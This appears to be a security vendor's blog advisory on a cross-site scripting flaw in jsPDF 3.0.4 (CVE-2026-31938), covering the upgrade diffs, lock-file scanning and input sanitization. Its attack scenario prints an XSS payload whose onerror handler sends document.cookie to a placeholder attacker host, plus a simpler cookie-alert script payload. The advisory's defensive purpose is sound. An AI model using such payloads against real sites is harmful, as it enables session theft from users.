Back to Blog
high SEVERITY7 min read

How Cross-Site Scripting happens in jsPDF and how to fix it

CVE-2026-31938 is a critical cross-site scripting vulnerability in jsPDF versions prior to 4.2.1, where unsanitized output options could allow attackers to inject malicious scripts into PDF generation workflows. The fix upgrades jsPDF from 3.0.4 to 4.2.1 in both `package.json` and `pnpm-lock.yaml`, closing the attack surface in Handsontable's export-to-PDF feature. Developers using jsPDF in any web application should upgrade immediately, as this vulnerability is assessed as likely exploitable.

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

CVE-2026-31938 is a critical Cross-Site Scripting (XSS) vulnerability in jsPDF (CWE-79) affecting versions below 4.2.1, where unsanitized user-controlled values passed as output options could be reflected into the browser DOM or PDF output without escaping. The fix is to upgrade jsPDF from 3.0.4 to 4.2.1 by updating the dependency specifier in `package.json` and regenerating `pnpm-lock.yaml`, which resolves the vulnerability by introducing proper input sanitization in the library itself.

Vulnerability at a Glance

cweCWE-79
fixUpgrade jsPDF from 3.0.4 to 4.2.1 in package.json and pnpm-lock.yaml
riskAttackers can inject and execute arbitrary scripts in users' browsers through jsPDF's output options
languageJavaScript / TypeScript
root causejsPDF 3.0.4 passes user-controlled output option values into generated content without sanitization
vulnerabilityCross-Site Scripting (XSS) via unsanitized output options

How Cross-Site Scripting Happens in jsPDF and How to Fix It

Vulnerability at a Glance

Field Detail
Vulnerability Cross-Site Scripting (XSS) via unsanitized output options
CVE CVE-2026-31938
CWE CWE-79
Severity Critical
Affected Package jspdf < 4.2.1
Fix Upgrade to jspdf@4.2.1

Introduction

The pnpm-lock.yaml file in Handsontable's documentation project pinned jspdf at version 3.0.4 — a version carrying a critical cross-site scripting vulnerability that Trivy's dependency scanner flagged as CVE-2026-31938. The vulnerability lives inside jsPDF's handling of output options: user-controlled values can flow into the library's output pipeline without proper sanitization, creating a path for script injection.

This matters beyond Handsontable. Any JavaScript application that uses jsPDF 3.x to generate PDFs from user-supplied data — document titles, author metadata, custom headers, or dynamic content fields — is potentially exposed. Because jsPDF is a popular client-side PDF generation library with millions of weekly downloads, the blast radius of this class of vulnerability is significant.


The Vulnerability Explained

What Went Wrong in jsPDF 3.0.4

Cross-site scripting occurs when an application incorporates attacker-controlled data into output (HTML, PDF annotations, JavaScript-rendered content) without first neutralizing special characters or script-bearing strings. In jsPDF's case, CVE-2026-31938 describes a scenario where unsanitized values passed through output options can escape their intended context.

Consider how jsPDF is typically used in a Handsontable export workflow:

// Typical export-to-PDF usage pattern (simplified)
const doc = new jsPDF({
  orientation: 'landscape',
  unit: 'px',
  format: 'a4'
});

// User-controlled content flowing into PDF output options
doc.setProperties({
  title: userProvidedTitle,       // <-- attacker-controlled
  author: userProvidedAuthor,     // <-- attacker-controlled
  subject: userProvidedSubject    // <-- attacker-controlled
});

autoTable(doc, {
  head: spreadsheetHeaders,
  body: spreadsheetData           // <-- could contain injected content
});

In jsPDF 3.0.4, if userProvidedTitle or similar fields contain script-bearing strings (e.g., "><script>alert(document.cookie)</script>), the library's internal handling of these output options fails to neutralize the payload before it reaches the rendered output. Depending on how the PDF is previewed (inline in an <iframe>, rendered by a PDF.js viewer in the browser, or opened in a browser tab via a blob URL), this can result in JavaScript execution in the user's browser context.

The Attack Scenario

Imagine a Handsontable-powered spreadsheet application that lets users export their data to PDF. An attacker who can influence the spreadsheet's metadata or column headers — through a shared document, a form input, or a URL parameter — could craft a payload like:

Document Title: Annual Report"><img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">

When a victim exports the sheet to PDF using jsPDF 3.0.4 and the output is rendered in a browser-based PDF viewer, the injected payload executes, silently exfiltrating session cookies. No user interaction beyond clicking "Export to PDF" is required.

The CDN script tag in the documentation made this particularly visible:

<!-- Vulnerable: jsPDF 3.0.4 loaded from CDN -->
<script src="https://cdn.jsdelivr.net/npm/jspdf@3.0.4/dist/jspdf.umd.min.js"></script>

Any developer copying this CDN snippet from the docs would have been pulling in the vulnerable version.


The Fix

Exactly What Changed

The fix is a targeted version bump across three files. Here's the complete picture:

docs/package.json — The version specifier was updated:

- "jspdf": "^3.0.4",
+ "jspdf": "^4.2.1",

pnpm-lock.yaml — The resolved version and peer dependency binding were updated:

   jspdf:
-    specifier: ^3.0.4
-    version: 3.0.4
+    specifier: ^4.2.1
+    version: 4.2.1
   jspdf-autotable:
     specifier: ^5.0.7
-    version: 5.0.8(jspdf@3.0.4)
+    version: 5.0.8(jspdf@4.2.1)

docs/content/recipes/import-export/export-to-pdf/export-to-pdf.md — The CDN reference in documentation was corrected so developers copying the snippet don't inadvertently use the vulnerable version:

- <script src="https://cdn.jsdelivr.net/npm/jspdf@3.0.4/dist/jspdf.umd.min.js"></script>
- <script src="https://cdn.jsdelivr.net/npm/jspdf-autotable@5.0.7/dist/jspdf.plugin.autotable.min.js"></script>
+ <script src="https://cdn.jsdelivr.net/npm/jspdf@4.2.1/dist/jspdf.umd.min.js"></script>
+ <script src="https://cdn.jsdelivr.net/npm/jspdf-autotable@5.0.8/dist/jspdf.plugin.autotable.min.js"></script>

Why Each Change Was Necessary

  1. package.json: This is the authoritative source of truth for the dependency. Without updating this file, any fresh pnpm install would resolve back to a 3.x version.

  2. pnpm-lock.yaml: The lock file pins exact resolved versions. Updating package.json alone doesn't change what's actually installed — the lock file must be regenerated. Notice that jspdf-autotable's peer dependency binding also updated from (jspdf@3.0.4) to (jspdf@4.2.1), ensuring the plugin resolves against the patched base library.

  3. Documentation markdown: This is often overlooked. CDN snippets in documentation are copied verbatim by developers worldwide. Leaving the old version in the docs would have propagated the vulnerability to every developer following the export-to-PDF recipe.

How the Fix Resolves the Vulnerability

jsPDF 4.2.1 introduces proper sanitization of values passed through output options before they are incorporated into the generated PDF structure. User-controlled strings are now escaped or stripped of executable content at the library level, meaning the attack path from user input → unsanitized output → script execution is broken regardless of whether the calling application validates inputs.


Prevention & Best Practices

1. Lock Your Dependencies and Scan Your Lock Files

The vulnerability was caught specifically because Trivy scanned pnpm-lock.yaml — not just package.json. Lock files contain the actual resolved versions, making them the most accurate target for SCA scanning.

# Scan your lock file directly with Trivy
trivy fs --scanners vuln pnpm-lock.yaml

# Or scan the whole project
trivy fs .

2. Sanitize User Input Before Passing to PDF Libraries

Even with a patched library, defense in depth means validating inputs at the application boundary:

import DOMPurify from 'dompurify';

const safeTitle = DOMPurify.sanitize(userProvidedTitle, { ALLOWED_TAGS: [] });
doc.setProperties({ title: safeTitle });

Stripping all HTML tags (using { ALLOWED_TAGS: [] }) is appropriate for PDF metadata fields that should contain plain text only.

3. Use Exact Versions in CDN References for Documentation

CDN snippets with floating versions (@latest or @^3) are dangerous in documentation. Pin to an exact version:

<!-- Prefer exact version pins in documentation snippets -->
<script src="https://cdn.jsdelivr.net/npm/jspdf@4.2.1/dist/jspdf.umd.min.js"></script>

4. Implement a Dependency Update Policy

  • Use Dependabot, Renovate, or Orbis AppSec to automate security updates
  • Set "jspdf": "^4.2.1" (caret range) rather than "=3.0.4" (exact pin) so patch releases are automatically included
  • Review your pnpm-lock.yaml in PRs — unexplained version changes in lock files can indicate supply chain issues

5. Relevant Security Standards

  • OWASP Top 10 A03:2021 – Injection (XSS falls under this category)
  • CWE-79: Improper Neutralization of Input During Web Page Generation
  • OWASP XSS Prevention Cheat Sheet: Covers output encoding and sanitization strategies

Key Takeaways

  • jsPDF 3.0.4 is vulnerable; upgrade to 4.2.1 immediately. If your pnpm-lock.yaml or package-lock.json contains jspdf@3.x, you are exposed to CVE-2026-31938.
  • Lock files are security artifacts. Trivy caught this vulnerability by scanning pnpm-lock.yaml — treat lock file changes with the same scrutiny as source code changes.
  • Documentation CDN snippets propagate vulnerabilities. The fix correctly updated the CDN reference in export-to-pdf.md, preventing the vulnerable version from being copied by developers following the guide.
  • Peer dependency bindings matter. The jspdf-autotable peer dependency entry in pnpm-lock.yaml changed from (jspdf@3.0.4) to (jspdf@4.2.1) — a subtle but critical detail ensuring the plugin operates against the patched library.
  • User-controlled PDF metadata is a real attack vector. Document properties like title, author, and subject are often overlooked as XSS vectors; they deserve the same sanitization treatment as visible content.

How Orbis AppSec Detected This

  • Source: User-controlled values passed as output options to jsPDF constructor and doc.setProperties() calls in the export-to-PDF workflow
  • Sink: jsPDF 3.0.4's internal output rendering pipeline, which incorporates unsanitized option values into generated PDF content (pnpm-lock.yaml, dependency: jspdf@3.0.4)
  • Missing control: No sanitization of user-supplied strings before they are passed to jsPDF output options; the library itself lacked neutralization in version 3.0.4
  • CWE: CWE-79 – Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
  • Fix: Upgraded jspdf from 3.0.4 to 4.2.1 in docs/package.json and regenerated pnpm-lock.yaml, incorporating jsPDF's patched sanitization logic

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

CVE-2026-31938 is a sharp reminder that third-party PDF generation libraries are not immune to web security vulnerabilities. jsPDF's popularity makes this a high-priority upgrade — any application using version 3.x that accepts user-controlled content for PDF generation is potentially serving as an XSS vector. The fix is straightforward: update to 4.2.1 in your package.json, regenerate your lock file, and update any CDN references in your documentation. Pair the upgrade with application-level input sanitization using a library like DOMPurify, and integrate automated dependency scanning into your CI pipeline so the next CVE gets caught before it reaches production.


References

Frequently Asked Questions

What is CVE-2026-31938?

CVE-2026-31938 is a critical XSS vulnerability in jsPDF versions before 4.2.1 where unsanitized output options allow attackers to inject malicious scripts into PDF generation output.

How do you prevent XSS in JavaScript PDF generation libraries?

Always use the latest patched version of jsPDF (4.2.1+), validate and sanitize all user-controlled values before passing them as output options, and pin dependency versions in your lock file.

What CWE is this XSS vulnerability?

This vulnerability is classified as CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').

Is input validation alone enough to prevent XSS in jsPDF?

No. While input validation helps, the root fix requires upgrading to jsPDF 4.2.1, which patches the sanitization logic inside the library itself. Application-level validation is a defense-in-depth measure, not a substitute.

Can static analysis detect this XSS vulnerability?

Yes. Trivy's dependency scanning flagged this exact vulnerability by matching the installed version of jsPDF in pnpm-lock.yaml against its CVE database, demonstrating that SCA (Software Composition Analysis) tools are effective at catching known CVEs in lock files.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #13207

Related Articles

high

How SQL-injection-style template literal injection happens in JavaScript DOM rendering and how to fix it

A Semgrep rule (`utils.custom.sql-injection-template-literal`) flagged `src/export/SheetMusicView.js` for building a query/markup string out of a JavaScript template literal with untrusted values interpolated directly into it. In this case the sink was an `<option value="${s.id}">${s.name}</option>` string used to build the snippet picker, meaning any snippet name containing `"` or `<` could break out of the attribute and inject arbitrary HTML. The fix introduces an `_escapeHtml()` helper and ro

critical

How Unvalidated External Data Fetch happens in React and how to fix it

The Datasets.jsx component fetched a remote manifest from snapshots.qdrant.io and rendered its contents directly into React state without validating response status, JSON shape, or field types. A compromised or spoofed endpoint could have injected malicious payloads straight into the UI; the fix adds strict validation and type coercion before the data ever reaches the render tree.

medium

How Cross-Site Scripting Happens in JavaScript Parsers and How to Fix It

A cross-site scripting vulnerability in JSXGraph's JessieCode parser allowed attackers to inject JavaScript through maliciously crafted input that appeared in error messages. The fix ensures proper output encoding when user-controlled data is included in parser error reporting.

critical

How Cross-Site Scripting (XSS) happens in JavaScript sanitization functions and how to fix it

A critical XSS vulnerability was discovered in the `sanitizeInput()` function in script.js, where only angle brackets were being escaped while quotes, ampersands, and backticks remained unprotected. This incomplete sanitization allowed attackers to craft payloads using event handlers and template literals that bypassed the security controls entirely. The fix implements comprehensive HTML entity encoding for all XSS-relevant characters.

high

How DOM-based Cross-Site Scripting happens in JavaScript and how to fix it

A high-severity DOM-based XSS vulnerability in `public/audio_match_demo/index.html` allowed attackers to inject malicious JavaScript through manipulated song metadata from API responses. The fix replaces dangerous HTML string concatenation with secure DOM API methods that automatically escape content.

critical

How Cross-Site Scripting happens in fast-xml-parser and how to fix it

CVE-2026-25896 is a critical Cross-Site Scripting vulnerability in fast-xml-parser stemming from improper DOCTYPE entity handling, which could allow attackers to inject malicious scripts through crafted XML payloads. The fix upgrades the vulnerable dependency from version 4.4.1 to patched versions 5.3.5 and 4.5.4, eliminating the unsafe parsing behavior while preserving all legitimate XML processing functionality.